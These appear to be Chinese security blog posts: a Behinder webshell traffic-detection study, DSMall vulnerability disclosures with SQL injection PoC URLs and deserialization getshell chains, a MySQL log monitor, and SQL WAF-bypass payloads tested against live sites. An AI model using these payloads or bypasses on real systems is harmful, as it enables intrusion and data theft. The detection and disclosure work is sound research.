本文主要针对冰蝎3.0beta3版本在php环境下进行分析。分析内容包括：beta3版本建立连接开始过程以及可能特征分析。

备注：由于beta2版本很多bug，因此估计不太可能被使用，因此这里分析beta3版本。作者的更新挺快的，明显的特征

本文主要针对冰蝎3.0beta3版本在php环境下进行分析。分析内容包括：beta3版本建立连接开始过程以及可能特征分析。
备注：由于beta2版本很多bug，因此估计不太可能被使用，因此这里分析beta3版本。作者的更新挺快的，明显的特征被消除掉了，增大了检测难度。

PHP的webshell没有变化，如下图：

2.1.错误密码通信过程

首先输入错误密码admin，发送第一个连接的数据包。由于密码错误返回包的数据为空。

下面使用beta3版本测试，并且这里尝试使用错误密码测试多次。

通过测试发现第一个认证数据包的大小不固定。本次测试第一次第一个数据包为3052字节，第二次为6360字节，第三次（成功）为4440字节。

通过逆向分析发现作者对代码进行了优化，有多层try catch等。首先进行aes解密，如果失败则进行异或解密再失败则进入到密钥协商的流程中，数据流量看beta3和beta2相同。

解密第一个认证数据包方式相同，解密后格式也相同。

构造数据格式相同，如下图：

解密后第一个认证数据包，发现content变量变成了很长的字符串。

beta2的UUID方式变成了随机字符串，因此$content变量变成了随机字符串，并且长度为随机的不大于3000个字符。如下图：


通过上述随机长度的字符串的方式可知，第一个认证数据包的大小是变化的，因此这里将无法使用长度作为辅助检测的依据。

2.2.正确密码通信过程

第一个认证数据包解密通过则执行php代码然后返回数据。如下图：

解密返回的数据包格式与beta2版本相同，msg进行base64解编码后为随机字符串。因此返回的数据包大小也不会固定。

第二个数据包获取基本信息

解密后，beta3比beta2多出$whatever变量，里面存放随机字符串。这样规避了流量检测。


通过逆向分析可知，读取payload中的php代码时，加入了whatever变量，并赋值为随机字符串。

同时通过随机时间请求获取基本信息方式来保持存活状态。

BasicInfo获取的信息beta3和beta2完全相同。

第三个数据包为获取当前目标文件信息。

解密后，部分关键代码片段如下图：

然后测试执行cmd命令whoami


解密后，部分关键代码片段如下图：

返回数据解密后与beta2版本相同，如下图：

通过分析可知目前beta3版本将UUID替换为随机长度的字符串，因此导致第一个认证数据包和返回数据以及第二个获取基本信息的数据长度不固定，不能像beta2版本一样进行检测。

3.1.HTTP头

代码中默认的HTTP头部（其他语言通用）。

其中Content-Type为php才用的。
User-Agent字段随机，如下图

比beta2.0多出一些移动终端的user-agent头部。部分旧的user-agent被替换。

beta3版本比beta2版本加入了随机字符串（替换了UUID），以使认证数据包和响应数据以及获取基本信息的数据包长度不固定导致无法通过长度去快速检测。但是后续执行命令等操作没有加入随机字符串（不要被作者看到），也可以通过检测一些常见命令如whoami，id等，不过由于数据包出现位置不固定，可能导致检测量较大。

目前只有使用一些默认的HTTP头部进检测，但存在一定误报。这些头部都可以通过逆向方式进行修改逃避检测，具有加大局限性。因此加上对内容进行判断是否均为base64编码字串集能降低部分误报。所以结合web日志的url请求记录通过统计分析方式可以进行进一步降低误报。

由于使用AES的CBC模式，因此生成一些常见密码的加密数据作为特征也能匹配，不过太片面和鸡肋。

题外话；对于攻击方就很容易修改了，算法、请求头、优先使用https等太多点可以规避检测了，webshell再做一次加密规避edr类设备就更好了。由于这些都是java程序可以反编译，因此重复造轮子copy的难度极低，这样可以实现定制化，甚至中间人改包都可以。

版权声明：

本文由团队成员AI@MS509原创，转载请注明来源

阅读原文

跳转微信打开

本文主要针对冰蝎3.0beta2版本在php环境下进行分析。分析内容包括：建立连接开始过程以及可能特征分析提取。

本文主要针对冰蝎3.0beta2版本在php环境下进行分析。分析内容包括：建立连接开始过程以及可能特征分析提取。

2.1.错误密码通信过程

首先分析错误密码情况
默认密码为rebeyond的32位md5值的前16位-“e45e329feb5d925b”。
这里首先模拟使用admin密码（错误密码），计算md5后的密码为“21232f297a57a5a7”。
由于冰蝎3.0版本取消了动态密钥协商机制，采用预共享密钥，以PHP说明。

php的webshell如下图，若不支持aes则使用异或的方式进行加解密。下面以AES加密通信进行分析。

首先输入错误密码admin，发送第一个连接的数据包。由于密码错误返回包的数据为空。


这里的数据包能够通过AES密码进行解密，后面在正确密码时演示解密过程。上述数据解密后主要代码如下，主要目的在于设置$content变量，其时通过UUID生成，用于后续做校验（见java代码）。

在使用预共享密钥进行解密失败后，则尝试进行常规密钥协商流程。发送密钥协商的第一个数据包如下图，get请求，url中格式中出现密钥admin等号后面跟数字。

通过代码逆向分析可知，通过异常处理的方式，在连接时，也就是第一个数据包，会生成随机的UUID字符串，如果比较相同则返回真（如果第一个包解密成功，这里是PHP，则会输出数据，进行比较），如果失败则进入异常处理流程-这里指密钥协商流程。

密钥协商过程，格式一般为“?password=随机数字”，随机数为1000以下的数字。以本次抓包过程吻合。由于密钥协商过程以2.0版本类似，因此具有明显特征，可以进行模糊匹配（不完全准确）。由于这里没有协商过程因此本次暂不分析。


2.2.正确密码通信过程

这里首先使用3.0beta2版本
正确密码情况，首先发送第一个认证数据包：

第一个认证数据包POST的内容大小为1112字节（PHP脚本），固定的。

逆向分析可知PHP脚本的AES加密方式为CBC模式，填充方式为PKCS5Padding，默认的IV值（固定值）为16个0x00。（beta2版本和beta3版本相同）

下面尝试解密第一个认证数据包，首先进行base64解密，然后使用aes的cbc模式进行解密，aes解密后出现2部分，以｜分割，前面是assert后面是eval的base64的代码片段。（beta2版本）

再将base64的部分进行解码，如下图。如果密码正确则能够正常解密处下图的代码并运行，运行成功后会输出$content变量的加密数据。（beta2版本）

由于$content变量格式固定，因此其加密数据的长度为128字节。解密后数据格式为json格式，包括status字段和msg字段，如下图：（beta2版本）

若请求认证成功则status返回base64解码后为“success”，msg解开后为$content变量的值。

第一个认证数据包通过后，第二个数据包为获取基本信息，数据包如下图：

解密第二个数据包，与第一个数据包相同，以｜分割。如下图：

解密后代码的主要功能为获取phpinfo信息、盘符信息、当前路径以及信息系统并加密后输出。


返回的基本信息解密后如下：

本次测试大小固定为2220字节，不同主机应该有差异。

通过逆向代码也能够找到，其是打包在payload下，PHP就是php目录下，其中获取第二个数据包的内容就是发送的BasicInfo.php的内容进行执行。

获取需要执行的php代码，如BasicInfo，然后进行加密。

同理其他功能模块调用方式类似。

3.1.HTTP头部特征

http头部的特征暂时不具有唯一性
user-agent较老

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" }

accept，Cache-Control，Pragma这几个值冰蝎3.0中不会进行设置，测试后发现使用的默认如下图（还需要在真实环境进行验证）

默认头部如下：

Cache-Control: no-cache
Pragma: no-cache
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

3.2.数据包长度

第一个认证数据包长度（POST数据长度，对应Content-Length字段）固定为1112字节；
发送认证数据包，认证成功后返回的加密数据大小为128字节，由于数据小可以再加上判断是否为base64编码字符集；
第二个数据包为获取基本信息的脚本数据，对应大小为2220字节，由于脚本固定和UUID长度固定所以最终加密数据长度固定。

冰蝎3.0使用预共享密钥进行通信因此无密钥协商过程，但如果预共享密钥解密失败则自动进入密钥协商过程（这里是否可以通过某种降维方式-修改返回数据导致解密失败？然后变成预2.0版本相同的检测方式）。

目前分析看user-agent头部较老可以作为一般的研判依据，加上Pragma、Accept等默认头部进行联合判断，但仍可能有较大误报，需在实际环境测试。

认证数据包和获取基本信息的数据包的长度固定可作为检测依据，目前看beta2版本中php脚本具有较多bug，现在已经更新beta3修复了bug，因此可能beta2版本较大概率不会被攻击者使用。
beta3版本分析见下一篇报告。

版权声明：

本文由团队成员AI@MS509原创，转载请注明来源

阅读原文

跳转微信打开

最近一段时间专门在研究php 反序列化漏洞的挖掘和利用，这篇文章可以算做是研究成果的一个实践输出，文中所有的漏洞本来是提交到cnvd和补天的，被驳回了几次有点心态爆炸，浪费那些宝贵的时间何必呢？该公司开发的这几款web app 几乎都存在文

最近一段时间专门在研究php 反序列化漏洞的挖掘和利用，这篇文章可以算做是研究成果的一个实践输出，文中所有的漏洞本来是提交到cnvd和补天的，被驳回了几次有点心态爆炸，浪费那些宝贵的时间何必呢？该公司开发的这几款web app 几乎都存在文章中审计到的漏洞，本文以DSmall为例进行分析，所有的漏洞分析文档见文末，如需要poc可以私信。

DSMall是长沙德尚网络科技有限公司开发的多用户商城系统，基于thinkphp5.0框架开发，目前最新版本是5.0.6。
【官 网】http://www.csdeshang.com/
【下载地址】http://www.csdeshang.com/home/download/index.html
【测试环境】php 5.6.27、mysql5.0.11、apache2.2
【测试版本】DSMALL 5.0.6

远程代码执行漏洞一

利用条件：前台注册账户
Home模块 Memberinformation控制器cut方法存在可以利用的反序列化操作，利用thinkphp 反序列化代码执行pop chain 可以写文件getshell。
\application\home\controller\Memberinformation.php

\vendor\topthink\think-image\src\Image.php

$newfile = str_replace(str_replace(‘/index.php’, ‘’, BASE_SITE_URL).’/uploads’, BASE_UPLOAD_PATH, input(‘post.newfile’));

$newfile 来自 $_POST[‘newfile’],然后通过SplFileInfo类对象来判断文件是否存在，当该SplFileInfo类构造参数是一个phar文件的时候就会发生反序化操作，相关知识参考：https://xz.aliyun.com/t/2958。

漏洞利用

生成phar文件，然后通过前台头像或其他上传文件接口上传到目标服务器上，这里直接利用上传文件接口dsmall506/public/index.php?s=home/Snsalbum/swfupload 上传得到路径
http://test.com/dsmall506/public/uploads/home/member/1/1_2020031616094143684.jpg

需要注意的是：
Shell 文件会直接生成在php 执行路径下，如果需要生成在web目录下，在poc文件中设置shell文件的绝对路径

远程代码执行漏洞二

利用条件：无
公共model\Goodsbrowse getViewedGoodsList 查看用户浏览过的商品信息，当用户处于登录状态时候直接从缓存中获取商品信息进行反序列化操作，如果尚未登录则从cookie里面获取并解密然后进行反序列化，由于cookie加解密函数的KEY是一个固定的值，写死在代码中，因此反序列化函数unserialize的参数可以被我们控制，利用thinkphp5的代码执行反序列化pop chain 可以往目标服务器写文件getshell.
\application\common\model\Goodsbrowse.php

\application\common.php

\application\common_global.php

漏洞利用

生成cookie信息并设置访问浏览历史即可getshell

http://test.com/dsmall506/public/home/index/viewed_info

生成cookie信息：

调用栈：

远程代码执行漏洞三

利用条件：前台注册账户
公共模块logic\Buy.php buyDecrypt 方法中存在可以被用户控制的反序列化操作，利用thinkphp5的代码执行反序列化pop chain 可以往目标服务器写文件getshell.
\application\common\logic\Buy.php

查看对buyDecrypt的函数调用，发现有多处调用且参数都可以被用户控制，这里利用修改地址changeAddr这条利用链。

\application\common\logic\Buy.php

public function changeAddr($freight_hash, $city_id, $area_id, $member_id)

\application\home\controller\Buy.php

调用栈

—>\home\controller\Buy.php\change_addr()—>common\logic\Buy.php\changeAddr()—>>common\logic\Buy.php\buyDecrypt()

漏洞利用：

通过分析我们知道

Unserizlize(base64_decode(ds_decrypt(strval($string), sha1(md5($member_id . ‘&’ . MD5_KEY))

, 0)))

$key=sha1(md5($member_id . ‘&’ . MD5_KEY))

$_POST[freight_hash] =ds_encrypt(strval(base64_encode(serialize($a))),$key);

A) MD5_KEY 是一个常量，从源码中获取

B) $member_id可以通过文件上传文件接口dsmall506/public/index.php?s=home/Snsalbum/swfupload 获取

Poc:

Url:http://test.com/dsmall506/public/index.php?s=home/Buy/change_addr

Post:city_id=1&area_id=1&freight_hash=se1atRqVpfbQo1INkwRgOXeQIUpFfKnR5lnhQVmjUhnYB9v1NU7JxIxWFRYDA6ihAavR_QiUcQ8

远程代码执行漏洞四

利用条件：无
公共模块model\Cart.php getCartList和getCartNum
方法中存在可以被用户控制的反序列化操作，利用thinkphp5的代码执行反序列化pop chain 可以往目标服务器写文件getshell.
\application\common\model\Cart.php
getCartList 方法反序列化

getCartNum反序列化

这里对getCartNum这个点的利用进行分析一下。通过查找存在多处对getCartNum的函数的调用，跟踪分析controller子类BaseHome中有一条简单方便的call chain，这条调用链的起点来自BaseHome类的初始化函数中，因此该类的所有子孙类的任何方法调用都会触发这条调用链。整个调用过程：
BaseHome::_initialize->BaseHome::showCartCount->Cart::getCartNum

阅读showCartCount函数代码，我们知晓要能够触发反序列化操作，必须满足以下两个条件：

1.Cookie[‘cart_goods_num’]为空

2.用户处于未登录状态

Poc：

远程代码执行漏洞五

利用条件：无
Home模块Cart控制器ajax_load 方法中存在用户可以控制的反序列化操作，利用thinkphp5的代码执行反序列化pop chain 可以往目标服务器写文件getshell.

生成payload:

设置cookie:

Request url:
http://test.com/dsmall506/public/index.php?s=home/cart/ajax_load

SQL注入漏洞一

利用条件：后台管理员账户权限
公共模块common/Model/Artcle.php editArticle 和delArticle存在SQL注入漏洞，审计代码只有delArticle函数中的漏洞可被利用。

\application\admin\controller\Article.php 删除文章功能的Drop方法调用了delArticle 且参数可控，$_GET[artcile_id]==input(‘param.article_id’)

Poc:
[http://test.com//dsmall506/public/index.php/admin/article/drop.html?article_id=42+and%20updatexml(1,concat(0x7e,user()),1)](http://test.com//dsmall506/public/index.php/admin/article/drop.html?article_id=42+and updatexml(1,concat(0x7e,user()),1))

SQL注入漏洞二

利用条件：后台管理员权限

公共模块 Goodsclasstag.php delGoodsclasstagByIds 函数存在SQL注入漏洞。

application\common\model\Goodsclasstag.php

在Admin 控制器tag方法中对delGoodsclasstagByIds函数进行了调用，参数使用thinkphp封装函数input获取，类型是一个数组

aplication\admin\controller\Goodsclass.php

public function tag()

Poc:
http://test.com/dsmall506/public/index.php?s=admin/goodsclass/tag
Data:
tag_id[0]= 1 and updatexml(1,user(),1)&submit_type=del

SQL注入漏洞三

利用条件：无
Home模块shopnearby控制器get_Own_Store_List方法存在SQL注入漏洞。
变量 $lat和$lng使用input 函数来获取，其实就是 $_GET或$_POST的值，这个函数是thinkphp封装的获取请求值函数。获取之后直接拼接传入where(),where()函数是thinkphp封装的函数，官方推荐使用 where(array[])来对用户数据进行处理比较安全，如果直接作为字符串参数传入该函数，那么对参数就需要用户自己进行过滤或转移处理，否则直接带入数据库进行查询，这是thinkphp官方文档的开发说明，而这里并没有按照官方文档说明来做，也没有进行转移或过滤，故造成SQL注入。

application\home\controller\Shopnearby.php

Poc:
http://test.com/dsmall506/public/index.php/home/Shopnearby/get_Own_Store_List?latitude=updatexml(1,concat(0x7e,user()),1)&longitude=1

自从 2018 BlackHat Sam Thomas分享了利用phar文件触发反序列化研究之后，大大扩展了反序列化漏洞的攻击面，在审计cms的时候除了关注unserialize作为source之外，也应该重点关注这些能够利用phar文件反序列利用的函数，而对于php反序列化漏洞挖掘和利用（包括fuzz sink function 和pop chain find）期待下篇文章吧。

版权声明：

本文由团队成员flytart@MS509原创，已于2020-4-24发表于“安全客”，转载请注明来源

阅读原文

跳转微信打开

网上其实有很多类似的MysqlSql语句监控工具，肯定有人问为什么要造轮子。很简单，因为在平时的代码审计中，需要一个跨平台友好、功能简单实用、并且可以支持监控错误SQL语句的小工具。拒绝臃肿，拒绝依赖多余的工具(比如tail.exe)。

网上其实有很多类似的MysqlSql语句监控工具，肯定有人问为什么要造轮子。
很简单，因为在平时的代码审计中，需要一个跨平台友好、功能简单实用、并且可以支持监控错误SQL语句的小工具。
拒绝臃肿，拒绝依赖多余的工具(比如tail.exe)。

我所知道的有两种方式来做到Mysql执行记录监控

1. 简单的方式，打开mysql general_log，实现类似tail的功能，循环读取日志文件。

2. 专业的方式，建立一个proxy，监测client与mysql的通信。

此工具选择第一种简单的方式

1. 输出Mysql所有的SQL语句执行记录，关键点循环读取日志文件利用
   org.apache.commons.io.input Tailer类https://commons.apache.org/proper/commons-io/apidocs/org/apache/commons/io/input/Tailer.html

2. 高亮显示报错语句，这点在审计中寻找注入点很有必要，具体实现利用

druid SQL语法校验https://github.com/alibaba/druid/wiki/SQL-Parser

mysql 高版本 general_log 不会记录执行错误的SQL语句到日志，需要在配置文件中[mysqld]中设置log-raw=1

本地测试了三个mysql版本

• mysql5.5 不需要log-raw

• mysql7.5 需要log-raw

• mysql8.0.16 需要log-raw

mysql≥ 8.0.19 可以通过系统变量log_raw设置

https://github.com/J0hnWalker/MysqlMonitor

版权声明：

本文由团队成员Walker@MS509原创，转载请注明来源。

阅读原文

跳转微信打开

WAF(Web Application Firewall)对于从事信息安全领域的工作者来说并不陌生，在渗透测试一个目标的时候常常作为拦路虎让人头痛不已，笔者这段时间花了些精力对国内外比较常见的WAF进行了绕过研究，这只拦路虎其实也并没有想象

1 前言

WAF(Web Application Firewall)对于从事信息安全领域的工作者来说并不陌生，在渗透测试一个目标的时候常常作为拦路虎让人头痛不已，笔者这段时间花了些精力对国内外比较常见的WAF进行了绕过研究，这只拦路虎其实也并没有想象中那么可怕。本文从SQL语法层面入手，以国内外主流 waf为研究测试对象，借助fuzz、逆向等各种技术手段，挖掘组合各种SQL功能语法，无视操作系统、中间件、计算机语言等差异硬杠WAF，欢迎私信交流。

2 正文

WAF（Web Application Firewall）的中文名称叫做“Web应用防火墙”，根据不同的分类方法可分为很多种，从产品形态上来划分主要分为三大类：硬件类（绿盟、天融信、安恒的硬件waf）、软件类(安全狗、云锁、ModSecurity等)、基于云的waf(阿里云、创宇盾等)。软件类waf和云waf是本文的主角。安全策略和规则可以说是waf的灵魂，我们所说的绕waf就是无视他的策略和规则达到攻击成功的目的。

2.1 老树

这一部分是SQL语法功能技巧的总结，也是WAF绕过的基础。

2.1.1 注释

2.1.2 功能特性

selectCHAR

SQL 查询语句select后面可以接一些特殊字符，这些字符与select相结合可以达到绕过waf目的，除了select 语句之外 union\from等关键字前后也可以连接一些特殊字符，这些关键值前后就可以作为fuzz的点。

【+】号：

【-】号：

【@】号：

【！】号：

【‘】号：

【“】号：

【~】号：

【{】号：

当然除以上字符，也可结合注释符–、/*、空白字符等。

不仅仅mysql有这类的语法特性，mssql、oracle同样支持，这里就不一一介绍大家可以自行fuzz尝试

• Oracle11:

  
  

• MSSQL :

  
  

2.1.3 等价替换

waf会对一些常见的攻击语句进行拦截，这个时候我们不一定非得正面硬杠，可以挖掘寻找一些生僻的具有相同功能的语句进行代替替换，这也是绕waf的常用手段。以下部分是对SQL查询表达式、函数等其他查询语句等价功能的一个总结，有些来自互联网，有些是自己的研究。

• 函数替换

截取字符串是SQL注入利用技术里面的常用功能，通常使用mid(string,1,1)　

|substr(user() from 1 for 1);|

|replace(LPAD(user(),2,1),LPAD(user(),2-1,1),””);|

|LPAD(REVERSE(TRIM( lpad(user(),1,SPACE(1)) )),1,SPACE(1);|

ascii(c)、ord(c) <=> conv(hex(c),16,10)

对于函数过滤的情况可以通过官方文档所有API函数，使用index.php?id=1 xor user()进行fuzz,以下是百度云 fuzz的结果

• 逗号过滤

有时候逗号也会被waf拦截或过滤，可以通过不含引号的SQL语句代替
case when 代替if

union select 1,2,3 <=>
union select * from (select 1)a join (select 2)b join (select 3)c

limit 2,1 <=>limit 1 offset 2

• 比较表达式代替

【=】

if(abs(strcmp((ascii(mid(user()from(1)for(2)))),114))-1,1,0)

find_in_set()

regexp

【<,>】

least(ord(‘r’),115)、greatest(ord(‘r’),113)

between n and m

2.2 核心

这部分内容是本文的核心部分，在我看来是文章的灵魂吧，除了技巧方法外，还有一些思想指导，waf绕过技术不同于一般的技术思考方向至关重要，有些技巧大部分人可能都已经掌握了但真正给一款waf摆在面前，能突破防御的怕是少之有少。该技术是一个比较大比较复杂的范畴，参数污染、畸形请求包、chunk分割、编码解码等方法林林总总，这些都是老生常谈的东西适用一定的条件、场合，普适性不强，所以这方面内容本文不会涉及，我们要和waf这只老虎来个正面较量，相信会给大家带来惊喜和收益。

2.2.1 目标

做任何事情都要有个目标，没有目标或目标不明确给你一身好装备和本事也难成事。SQL注入漏洞能利用成功的判断依据就是可以dump数据，对于后端DATABASE【SELECT col FORM table】用来查询数据的基本语句，该语句的成功执行是可以dump数据的必要条件，当然也是各个厂家安全产品重点照顾的对象，绕过对该语句的拦截自然就是我们的目标，平时进行绕过测试的时候也会关注【UNION SELECT】、【ORDER BY】等语句，这些可以当成我们的次要目标，不是说他们的绕过不重要，而是不依靠这些语句仅仅通过【SELECT col FORM table】照样可以dump数据，非必要充分条件吧，结合笔者经验和思考基本可以明确我们的目标：

1.主要目标：绕过【SELECT col FORM table】语句拦截
2.次要目标：绕过【UNION SELECT】语句拦截

2.2.2 战略

SQL注入根据分类方法不同可分为不同的类型，从SQL注入漏洞利用角度来说，一般有五种注入利用方法，分别是报错注入、联合查询注入、布尔盲注、延时注入、堆查询注入。无论那种注入方式，利用payload都可以分为两部分构成，对应的利用语句（BOUNDARY）和基本查询(QUERY)比如报错注入语句：【updatexml(1,(select concat(0x7e,user,0x7e) from mysql.user limit 1),1)】蓝色圈起来的报错语句就是BOUNDARY，红色圈起来的部分就是QUERY,也是我们需要绕过的主要目标。

尝试测试的时候，可以使用控制变量法进行测试，比如测试QUERY，可以把BOUNDARY填充为无害字符串，反过来也一样，最后再结合一起验证测试。

WAF有硬件WAF、软件WAF、基于云的WAF，根据WAF种类不同需要制定不同的测试方案。对于硬件WAF和基于云的WAF由于条件所限一般从业者接触不到只能从黑盒的角度进行测试，但是对于像安全狗、云锁之类的软件WAF，他的规则本身就集成在软件里面，那么就可以先利用逆向技术手段获取到防御规则进行白盒审计，之后再通过黑盒测试方法进行测试，以我多年的安全行业经验和观察，具备开发能力的安全从业者并不是太多，同时具备这两项能力的顶尖安全人员更是凤毛菱角何况都分散在在全国不同的公司，有理由相信之类软件的防护规则一定会有疏漏，再说绝对的安全并不存在也是业内共识，所以对于软件类的WAF能拿到规则就尽量获取到规则进行审计（这里透漏一下安全狗防护规则存在缺陷，原则上针对所有数据库的防护都可以绕过，笔者测试了MYSQL\ORACLE\MSSQL）。

对于【SELECT col FROM table】、【UNION SELECT】语句，分别在每个关键字前后设置FUZZ位置进行绕过尝试，首先在本地FUZZ测试出能够正常执行的语句，然后提交到目标站点进行测试，有些时候可能本地FUZZ的那些payload都会被拦截，但结合注释、空白字符、括号、引号、别名等其他功能特性就可以绕过，而这一部分目前来看没有通用测试方法，只能针对某一特定的waf手动测试，测试的时候可以先忽视语法的正确性，确保整个语句结构能够绕过防护，例如【SELECT col FROM table】语句的绕过测试，可以在SELECT、FROM 关键子前后填充任意字符，整个语句结构能够绕过之后，我们再想办法构造出正常可以执行的语句，这两个语句必有结构相似性，构造的正常SQL 语句很可能会被拦截也在情理之中，接下来就要使用增删法对结构不同部分进行增删处理，确定是某个字符或某个子结构触发了拦截，既然确定了黑字符和结构就需要寻找白字符进替换代替，这个过程可能需要来来回回的测试，花费时间数量级由测试者研究SQL语法熟练度和深浅度决定，其实也不是太难，以我对阿里云的绕过测试来看，从绕过【SELECT col FROM table】结构到构造出能够正常出数据的语句所花费的时间大概在三个小时左右，数量级还是可以接受，当然也有运气成分在里面，在对亚马逊云的测试过程中就遇到了很大的障碍，最后虽然通过别的绕过方法拿到目标站点的数据，但与本文所说的策略方法没有半点关系。

前面提到了在关键字前后填充字符，这里也讲求一个方法，不是说用你收集的tricks一一尝试，如此测试的话那几乎和FUZZ没有区别，而且很难达到目标，至于如何操作且听下文分解。

2.2.3 实战

该小节依据上文战略思想，以真实案例来推演整个绕过过程。
目标：https://su.baidu.com/
1.本地FUZZ PAYLOAD
2.关键字前后填充字符测试
3.构造正确的绕过PAYLOAD

• 本地FUZZ PAYLOAD
  FUZZ 字符除了【0-255】全字符外，也可以添加自己收集的一些tricks进行FUZZ
  {FUZZ}UNION SELECT fuzz的一些结果

• 关键字前后填充字符测试

UNION SELECT 绕过尝试
id=1 xor xxunion selectxx 拦截
id=1 xor xxunionxxselectxx 不拦截
id=1 xor union(select 不拦截
id=1 xor union(select) 拦截
id=1 xor union dd(select) 不拦截
SELET FROM 绕过测试
id=1 xor s(select xxfrom xx) 拦截
id=1 xor s(select xx fromb xx) 不拦截
id=1 xor s(select xx fromxx)拦截
id=1 xor s(select@a from xx) 拦截
id=1 xor s(select@asfrom xx) 不拦截
通过以上测试把union select from 结合在一起并不拦截
https://su.baidu.com/plan.html?id=1 xor union dd(select@ \Nfrom xx) 

看来成功不远了，接下来构造出正确的SQL语句，发现会被拦截

• 构造正确的绕过PAYLOAD

  这一步就是构造一个既能绕过WAF防御也能正确执行的SQL PAYLOAD

  首先在union前面添加我们fuzz的.1字符，不拦截，这就是一个完全绕过payload，百度云加速防护能力相对来说偏弱一些，绕过花费不了太多时间。

  
  

  
  

  
  

  
  

  对于SQL注入漏洞利用，有些场合需要用到盲注，盲注当然离不开SQL API的，里面一些常用的函数也会成为WAF照顾的对象，我们可以在函数名前后添加一些特殊字符或注释进行绕过

  
  

  
  

  
  

对于安全狗和云锁之类的软件，规则本身集成在软件里面，在具备一定的逆向能力的话可以优先考虑逆向获取到规则进行绕过。在安全狗逆向过程中发现可以利用HOOK API获取规则而不需要完全逆向解密算法进行规则解密，正好大学时期研究过win32下的各种HOOK技术，翻出旧代码稍加修改改就能派上用场还是比较满意；云锁是用C#编写没有经过混淆，逆向算法非常简单各位师傅可以自行尝试。对这两种软件类WAF的规则进行审计发现实现都存在缺陷，对各种数据库类型的注入应该都可以绕过，篇幅所限不一一展开细说了，绕过payload参考后文。

2.3 新花

这一小节是部分WAF绕过PAYLOAD，本来计划是完全分享，但是为了避免不必要的麻烦，删除了部分厂商的绕过PAYLOAD方法大致类似。每种绕过PAYLOAD里面都包含了多个tricks，这里不一一详解各位看官细细琢磨品尝。

2.3.1 CloudFlare绕过

cloudflare使用MSSQL PAYLOAD进行测试

UNION SELECT 绕过

SELECT FROM 绕过

MYSQL 报错注入绕过

2.3.2 安全狗绕过

2.3.3 云锁绕过

2.3.4 阿里云绕过

这里只公布部分BYPASS PATYLOAD，完整出数据的PAYLOAD暂不公布，感兴趣的可以根据文章中的思路和方法进行尝试，相信各位师傅也是可以做得到的。

2.4 利用

做事情讲求个有始有终，在渗透一个目标的时候最终的要求当然是能够利用发现的漏洞拿到权限。假如目标站点存在一个SQL注入漏洞，但是由于WAF的存在漏洞利用并不能成功，经过研究现在看来WAF已经不是最大的障碍，不过距利用成功尚且有一段距离。

对于存在WAF场景下的SQL注入漏洞利用，要么单独编写脚本dump数据要么编写SQLMAP Tamper利用SQLMAP dump数据，这两种方式都可以达到我们的目标，但是都有不好的弊端，对于经常打ctf的人来说感受应该更加明显。由于不同WAF的绕过PAYLOAD各不相同，所以单独编写脚本这种利用方式很明显通用性不强，其实里面的好多代码可以单独分离出来重复使用；对于简单的BYPASS PAYLOAD，编写SQLMAP Tamper不是太难，而使用了SQL各种特性、trick的复杂BYPASS PAYLOD，编写SQLMAP Tamper 就显的过于复杂。出于以上原因笔者使用python编写了一款SQL注入漏洞利用工具，参数使用方法和SQLMAP基本相同，每种利用方法单独编写一个类，各个利用类的成员函数基本相同，整个PAYLOAD 由BOUDARY和QUERY两部分组成，成员函数get_payload调用tamper脚本里面的tamper函数对boundary和query单独处理，tamper脚本编写简单方便灵活。工具各个参数基本和SQLMAP相同，详细说明请参考开发文档。

Tamper样例：

工具tamper目录附带了安全狗和云锁绕过mysql tamper。
开发文档：
https://github.com/ggg4566/SQLEXP
https://forum.90sec.com/t/topic/993

3 结语

